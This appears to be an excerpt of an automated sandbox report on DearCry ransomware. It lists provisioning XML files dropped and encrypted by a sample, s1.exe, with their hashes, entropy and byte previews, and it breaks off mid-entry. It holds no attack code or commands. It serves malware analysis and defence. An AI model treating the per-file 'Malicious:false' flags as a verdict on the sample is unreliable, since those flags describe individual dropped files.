                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1192
                                                              Entropy (8bit):7.840910897258511
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:053E300879CB5B7AAA0A3CC83C78C696
                                                              SHA1:7CDA05C91F56B2288F05FCC6F24ADD82D3C4A073
                                                              SHA-256:D9B6712DC48AFCF8E9F4CFBB55BBB011A79B571FF28EF1161CAE93FDD3E7927F
                                                              SHA-512:38A3C011F48F526FB85EF1D7601F886D54B7CEF25D45A489B04CFA9486FCDC43BC148983FFE2A897994288F261EBC5D36147F5358C8AC0DDB7B58D7176C77134
                                                              Malicious:false
                                                              Preview: DEARCRY!.......#G..LJ0..~....w.m........w...P4..$.[x..w.....7..{.V.....[...k..|...d..#..?...`.|[.......\..1....!..>.....!.*^.8.w.=.;.....V...W.....*.>.eT....A..&Er........5g......L2......i..v.O..............N.9:.y1.S. e...`{......'.P...JS.....:.W.H95x x#Q.@...............yr..c.F.e...f..S....R.....j^e.J.....=..F_..+j.n..=m.?/C.VZT..".9.e........N(......1..7y.b@6).o.....9n..B.2iVj.4.t5F.].e.;.......Z.&..D..c9w.u..?.e.M94p.....4..s3Ks8.n.r..U.<............Y.N...........n:..q...;+.{.c.i!1$......OU.K}.'..`...P..*.....mI....|Qr....g...a9.J_.tc........8..CS........'...2...].I...K>[/_..g`.]../....;.)./.>..{m..V..ZZ.,q.UH..z.....L..k,.Lp!h../^.K..kB.".<.n.X{.#D.m..P...C.y....^...w?.aN.#T.......=..~.{"...hr2.*...h....6.F...x.T.r].Me...N/...O.R.w@....%..{.+..z......c.>..8M.>4...Ry..6..".pY".A.=+...U.S.?Z.\Y.j.......SkJi..2..3.C...+k...5..,.I/O...x.G.....\h..dx...+@...../8.......G.B..+&.[.x..]lOP......Y...29.../.*..0.O...cT4.*.d``.#&).z....I.~.T....,..
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.543946119413373
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E0D3EBFE3768BBFAAA3E002D540D7ACE
                                                              SHA1:3596592E01A952A7D6F9FAC07DE9CC493A4F2F90
                                                              SHA-256:1909425AB36955BD4897E59D2AC72C9D1FEDDAE087B6E3271B2C7E6FE3612D60
                                                              SHA-512:6601CEA5F0744F912F05FC76A7F4DD63706E7423F650597A34F85C890BBAE3E485CD8B0054442C2A6D997166E8667D1280A02E96024DCAEB15E2338D450BCF0F
                                                              Malicious:false
                                                              Preview: DEARCRY!.....<..T.........9...7c.-..;.Z.R...uc...M{F[.j.....`.....yC".........)+.*J........;...Cmei.w..Q.PyX...t..~.4.(.WM..b..!%<S/LA1.t.{c<./!../.e{.W`.hp.G2+!.$^.lKHBe[....Y._g.p..n..8.K..-...G.8#.....$<....J..v.q..k..)>p....}^.....f.J=L?S$.0..{1..qO..............(..v..gj...Q...<.F.k......ZC.qtd.z.>.-s.....Q...!...;.."K...,2.y....7..G:.UWa..\..yF...>.|j.V$C.....9..X#.z2.J..'(aW.9.. v....M4$.&..}s..}....kOB.8Y...f.#.>..u...gB....N..'T..N8Z^.....I<....}..4.F*`..A-rF...P.uN[...M.$2~......^Q`}.i.?.R8v1.u. B.x~s
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):460
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CC55898E3C4E96553B7795BC7538F072
                                                              SHA1:0BAE21B29367C7209237ABE462E7C6D013E2CA78
                                                              SHA-256:828798A87DA42AA928A85E9CAFFE6ED3C1D89FF615D5692146EE6571C78E8947
                                                              SHA-512:B17E6223F3114530529A4BCAE4CC15DB5EA4283AE99976173FF69F77DB6B1FF7CB1D2F6C1668210D5534DDBFFBAE44B702D9CCF9145EFB1AA5ED5F1ACF286117
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):744
                                                              Entropy (8bit):7.732895742919759
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:32E9A1034D515CCDC12D499F7796DDAE
                                                              SHA1:E5A179EB10CDA5162D289046A57886060C67FF5B
                                                              SHA-256:6591E6179C153E3467B80FDF73A6E9F5EEEDB5B6B7187034CC141A98178D395B
                                                              SHA-512:0174B2FC300A70F59A0543D6766E168C3FB1613F96B476AC0AD2D468FE53A74ADB6322C7A563C08892409B2E7523C52B5DAE0BA91075B29953A9FFBAC66D9FDF
                                                              Malicious:false
                                                              Preview: DEARCRY!......B.6j*..W.a...5x5...c...vg.:....;...Qj.r..Cv.oM...8.o1...x.6_..#....n..WG.d..~....7(P:x.O.=...a-d..^.r..CH'!...,...b.N ...;...(..`jQ..e.<.WT........u$<...Or.Ho.2'mu.!..k..~O%.S>BOU1..7.....S4.aF!.:...r..>..J..p....3.....;.k.B.)...C..%..........nD.............D..l-..I..7..C.C&.n).^....=.a|3'U2d.RBi[......x....km.-.s...%./.G.?.....i0.z.5.:j.bD.{.tg$%%..n..G.8m..SXZ..y.l[..0b.....X....a+s...........h.Q.3.e...2.G..y..V.....P..0k.I..._..WB.p.4....y..S.8......I.. B!.<xl.{[...T..6....&.."....E-.7......0.=...SeVc.....Y..*..P..N....k..+.U6.O..B.T.F6..<m^.f6....]K{..u...$......1.,$.(&..........+.>.Z4.;.7q..:.5.~.6.yb..=*W.....3.".[F..'|....F...5@..yT.#.R..8.6.k(..U..N.........7?...._...g..x+....W.Z.3..
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2247
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1B4B7568E358798EEB00F8D5DD00A773
                                                              SHA1:95676BF44D34E3094DCD1DE0BDA69CEAEA4B3912
                                                              SHA-256:36A1D60CEDE951A6445906907C7D772C8E1BF4327A3516D743BDB27581603E72
                                                              SHA-512:7ECB2CC37BCB51BD2933A5EBCEB77A2CE42E06324DF23192DF4802C9C6416BB95BF258C94A2584F9115870C71E99EEA82ED568CE037B2CDD072EB14F72293F6C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{99b095d8-5959-4820-bea7-7448c8427b4e}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2536
                                                              Entropy (8bit):7.920889649919336
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DA6A2B08044C2BC92451278A43797B42
                                                              SHA1:C9875E24094DCB8E767BE45719918B2FB39C855A
                                                              SHA-256:94E78B16AEC91B6E73B734DE2090EF3E5C6B1CD63306BBD528DD4ABB15D54B9C
                                                              SHA-512:4B8A9387A376DA1C0663351283CB554FCCCF12AE5CEE3FA786059C3AD46E1168B24F34D4A083162687F7A725ABF7D46A100215C656EE76FF65A9FA134D758FC2
                                                              Malicious:false
                                                              Preview: DEARCRY!....th..;(=....H....i6.A.B&.%F(...8..9t...t.}.aQ....V..?....^._}.u#...H..!...g.aHnN....Lu.~..cj.>.Jy.q.J.L..X..........9......3.&..A.....d..&...D.?..5.c.nm...2.&.^p.:.._e.s...tr$5'@.D..&...U...?.U.\y...|S...*.FY."..|..]..J$.w.0p....;J..x....................EU8`..h.;z+.y.+r>.i.....w...mF.V7..r.UJ.I.?....c....;.....&..hv.5|{g.^X.._i|...b$....Yc...(...pz1..<`=...y.X..[.!.KqO..{7h...A.>..=W..cG .. ..pH.......#.o*?..~....k.".g.Y.....a...Y..66=...-..d>..E...P.....A...h...WVja.NL.`.Jf.9...._f.F.y.'......P.e.....`..mq.7+.... .az..K.J........@...?P.Hd.I.2*.R.w8:t.gX..w.v..q.T>.&.`h.n*.Im...M&...C(-..W....jl.z+g2..(.a.).%.{...@.E...2c..g.$....E.'...:.x..r.C.I.W.j....+..TOW...0.....P.0%.,."..9.....)...F.....e(..E..2....E$..).....Z...-s..C.1.....s..Z.G.3.+_...A!..s..Y|t.3M...V...|.s...m........a.Z.V..#....8`~.>n.~....=...I.;...y.Q.......^%;.}..o.l.!...aW./..68..R.f..0b.v.m....,..#....A.2.w..9.^6E..d.\E.s.x%....=..K...H..l.na.D..&..Ug.k^.'x4]
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.546804739086832
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BC59AEB45ED4E3B0009B68FA361AE2BA
                                                              SHA1:950D6DF09BE68D2AA81FFEAB0FE5AC34945BEC7A
                                                              SHA-256:96F98E88C51D49EC6047E000DC698A5CD9766F904CE0DA67E9FCB1FBB44999EF
                                                              SHA-512:ADD9C345EB5A1D4A0E1C45CFCA296BC38FDEF900E772AE763DC089E8A53654B9D113B93412AD91E5871F865709AB3C420D54F45DE3EA5479A19B11B8208F3B48
                                                              Malicious:false
                                                              Preview: DEARCRY!.....DzU..p.B.B../...u`.<.a.x........D^w..N....^.;U0..79b..|9t.....@...S!.f.p.....m0......1....4.....S........U.....i4..!<WS..........&.8.........._.c.j$s..E/..i&.>...H=.....$.<......T...b....'..q,.$.v..q2..X...{.1Y... .h.c..:....:.I...M.us.................=...7..4.c..$..o...8.Nv....?..abR..~..5....I.6^.*n.T..^..I......mY..W.......`zU...x..2..JotoDH;F@.Q....L.........K......0s..#?.G......Li..1$J..M........S...S..[n.T.`...*...Cp~....".3.`.?.....}AJs...<.taK..<.b7m.|._....#...B0..U...o.........Q....+...%
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):460
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CC55898E3C4E96553B7795BC7538F072
                                                              SHA1:0BAE21B29367C7209237ABE462E7C6D013E2CA78
                                                              SHA-256:828798A87DA42AA928A85E9CAFFE6ED3C1D89FF615D5692146EE6571C78E8947
                                                              SHA-512:B17E6223F3114530529A4BCAE4CC15DB5EA4283AE99976173FF69F77DB6B1FF7CB1D2F6C1668210D5534DDBFFBAE44B702D9CCF9145EFB1AA5ED5F1ACF286117
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):744
                                                              Entropy (8bit):7.6959658546105585
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FE5A86CB601D806E83DE08ADDCB9B5D2
                                                              SHA1:3492410E78D451D7D998BA5B84126BB421111253
                                                              SHA-256:34221FD70413DC6BFD6D433DA3893D9F6D96DE822F31B448685AB9D97535DA43
                                                              SHA-512:7A68B65E484BF75FB3B9C025D3D0D23E8D2EF0242250703B55A0F748614912ED08122F23E51318037448250C26B6B8E08E97FD2EF5C92342EB88238C5981D1B5
                                                              Malicious:false
                                                              Preview: DEARCRY!......r`.....Ny...@.xJ.T..A.......A..@..|%.GCS..9...G.>...1K.H)...i4w..o..6t.y...V8.8..a......l|.c`l...eM....D....]$.(.."$.\...>...[..c.,)@.q....d^p.<v.?...pG^G..I..TA.'Y........|.#.....3r.@c.E.1.......`...r.x.%..X5...8]...!.5X.....N..T.A....R.c..E.................Aa.lQ.....F...y....p....-d]..@.J.\.;VC.^.[.Qk.Mwv.6f[V?.3;n....9S.&T.(....(*R...!.+g.SW`.rL".a....Z^..../.(.py..B..<.%..wk.O...O.fb..g<.%.........L....W.-K...h....*L..c.hl.1....J..W...]&..ln]........m..2.-.mm.~k.6...R.....S..?..z.sq..[.o...V.o....%..us6..5.=Tv|.....OC...nI...n.....G~...H....!R../....4...7..^>.r..4rFf..oJ..S.3J...hpG.....}.O...h0I.vZ.N......4w?..BP..y".B...>".2.......-x.d..eM5..a....*....[..B5._..3...s.3..}}..1t......
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7361
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1D7E73FA98393CC881C65D1C8C3487D5
                                                              SHA1:226DF4DEAD70147FC0F39468253BB0AD13502BDA
                                                              SHA-256:C6B20629B3DC61D7329042DF8C33A825CE26E5A07116EBAB99F03F010C658694
                                                              SHA-512:F387293E2CE1EC438CF30AEF05713D1AD7898D5276C88BF914FB409F87A21368A188A66C8B19DC80F7344F752AD4D8A0035A6FA0786A5548DEC6F518F9DF9072
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7656
                                                              Entropy (8bit):7.977164324587031
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93FEC36E89BC3F04FCE8626A3601AC37
                                                              SHA1:151EE938FA06A02E83568BC9FFF5A79E3DA9DABA
                                                              SHA-256:3D3FAFC3E39FAC46270FBB0B4EF19730051D6C6A4EEF7ACCFA728A6488EC6A43
                                                              SHA-512:D539BCE853256DB89E1936E4F91321B0B30FF2E1931FAF1AEEE75863079D87A154A496C5A44230BC37090FA4A8DBE956F8C3E9B8722C7C57B4BB446222A5F702
                                                              Malicious:false
                                                              Preview: DEARCRY!......n..L!=0mO=.......(.Z.....q.1Ch#......Z....w.......g..B..Y3>.0..c\:.A.=..c9D`....FQ.#.*YZ.~,G...{...T/$..$b..5 .$Y...a.z.......4...k&.o..wV.7l.^.?..M.oI/&1...T5.(Z.gaV ..Dlv8o.X.....e..J...P.?x..O..f`.<.1.F..%.@...y%..R....@b/.d..Eg.3Z.9|.;1...............)...}"gJ..y....40c..f9[........2.....!)i*.............\4gS8.;R..%...(.yT...U..CH...,...oM.0......89..mwV..k.I.F .To.i...k....S..!l|8...k......*KW..{....M+...*q..b^.W-.I.L}...8....E...3...]..r..yg..v....+).8..D...._.%B..+........G......'...0%..Z..J.(.^G5.8..v...F.R.e..6.g.....:*......2...+3tu..6...T.s......*b..N."b..v...}.<g4..e.I.ob.L...h.....[..*=n..r.?.G...h.#T=.;.p.T..m.t.>c[..F.L2.o..blE'\./.T.....6I..\.....}..2....L@.TV...s.&..1....:.SS$....?.E..G.-..:47.R$...9...P.{.z.=..s..L.4.......u.}bV.,.!...)h.....ync.Bw....T...a:..|j.o<...j...b.-%.S..R.....vG6..k...M.fa\ ......0...,...|yG...m=...z....U......j.I..P.U..iI......."...=zo...p.j........)....o.......m.B.V.E..w
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.627987246175838
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:624A3EC89A3ACE2DD04C21E3B9D58B7B
                                                              SHA1:8D9F7F29A34671C8DFD726771B7E38D74F7D91BB
                                                              SHA-256:0543BF9FA36155B8426F9324E53A9E9F9D5A15FC7EA99A3718DEF58750050DDD
                                                              SHA-512:8C5156628F979F5EECB8DAB40823C31DBB5883E0A7C7806F1301BD97FFFF309271687DC051E70DC86E3B79CB2CEEB0E448B39DB72D609A39999B184001245050
                                                              Malicious:false
                                                              Preview: DEARCRY!.....\Q..%v....=.%.ka...l7.XQ.}.%d*...8.=.o0.../G(.T..x.....i....,-...1o..^/..E..3I...w.MnQ .Ik.....U..zc@............5.A.P1@.Y>g.........!l0Lw.1u....U.wp3..`&.X..2..).z..]%..DR0.$.2Y..........KcZ.......4...F.i...._bI.L....U......a..\7W..X.n..............Q-!o9.;.Hpe.(../...........]..i.3..EBH..#]N.d.....X.A.Z....},....qT.u.1.2. '.O....).J9...z.....>..S. }.._.~.. K.5.d...T...3..u.Bg......fC.s....;.T.........k.ur:.....qw0b.Q#...........<;0...>.`..M.*..B...*....@5.r.p...."..#..?.(.`.[g..+.>..]~.dr...q...\..w...
                                                              C:\ProgramData\Microsoft\Provisioning\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):251
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5B2CC42CAD6BAFE68B2CE48763BF498
                                                              SHA1:7687EA986304DF2B7C64237143E7ECD89B022D3F
